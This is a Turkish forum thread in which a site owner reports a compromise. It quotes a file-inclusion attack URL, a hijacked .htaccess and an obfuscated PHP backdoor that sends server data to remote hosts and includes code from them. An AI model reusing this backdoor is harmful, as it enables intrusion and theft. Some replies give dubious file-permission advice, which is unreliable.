İframe.php ile saldırı..

bazo · Mesaj: 1+ Kayıt: Nov 13, 2005 Mesajlar: 37

Az önce tuhaf bi saldırıyla karşılaştım.. Kim Nerede modülünden bi ip gördüm. Hangi sayfada olduğunu görmek için tıkladım ve karşıma hiç görmediğim bişe çıktı bi kısmını resimledim

Resim için Tıkla
http://img166.imageshack.us/img166/8674/buneoj2.jpg

uzantı ise şu şekilde

www.siteismi.com/i f r a m e.php?file=ftp%3A%2F%2Forlenok%3Aariadna%40www%2Esest%2Eru%2Fr

Burda Sanırım sunucuyla ilgili bir çok bilgi içeriyor.. ip banladım ve dosya ismini ve uzantısını değiştirdim.. İframe.php ile gösterdiğim bir çok dosya şuan kullanımda değil bu durum bi tehlike arzediyormu??

bu bi açıksa Kimse görmeden silinmeli..

Saygılarımla..

Bu Site Google Adsense ile Gelir Elde Ediyor · Tarih: 2024-06-02, 02:37:50 Mesaj konusu: Forum Arası Reklamlar

krall_13 · Tarih: 2006-10-24, 10:33:10 Mesaj konusu:

shell çalıştırmıslar bas baya

ben82 · Mesaj: 1+ Kayıt: Mar 28, 2006 Mesajlar: 38

shell siteye sokmuşlar, coppermine vs. açığı olan bir modül kullanıyorsan hemen sil, nereden kaynaklandığını iyice araştır.

bazo · Mesaj: 1+ Kayıt: Nov 13, 2005 Mesajlar: 37

Coppermine kulanmıyorum. Hangi modül olabilirki.. flash oyunlar modülünde bi arıza çıktı sonradan ondan olabilir mi acaba..

bazo · Mesaj: 1+ Kayıt: Nov 13, 2005 Mesajlar: 37

Flashchat modülünde.. CHMOD 777 olan bütün klasörlerin hepsinde ikitane farklı dosya gördüm.
-.htaccsess
-132645.php

htacsess de:
Options -MultiViews
ErrorDocument 404 //chat/images/cust_img/213073.php

Options -MultiViews
ErrorDocument 404 //chat/images/cust_img/213073.php

132465.php de:
<? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$i=(isset($_SERVER["script_FILENAME"]) ? $_SERVER["script_FILENAME"] : $script_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s.".base64_encode($i).".".base64_encode($j); if ((include(base64_decode("aHR0cDovLw==").base64_decode("d3d3My5waHB0YWdzLndz")."/?".$str))){} else {include(base64_decode("aHR0cDovLw==").base64_decode("c2hvcC52bWFya2V0LmluZm8=")."/?".$str);} ?>

Klasörleri CHMOD 755 yaptım bütün bu dosyaları sildim.. Başka yapmam gereken bişe var mı acaba ???

serserialper21 · Tarih: 2006-10-27, 22:46:50 Mesaj konusu:

forum'un chmod'unu 666 yap tamamdır

bazo · Mesaj: 1+ Kayıt: Nov 13, 2005 Mesajlar: 37

forumda Admin Klasörü 666 idi Zaten..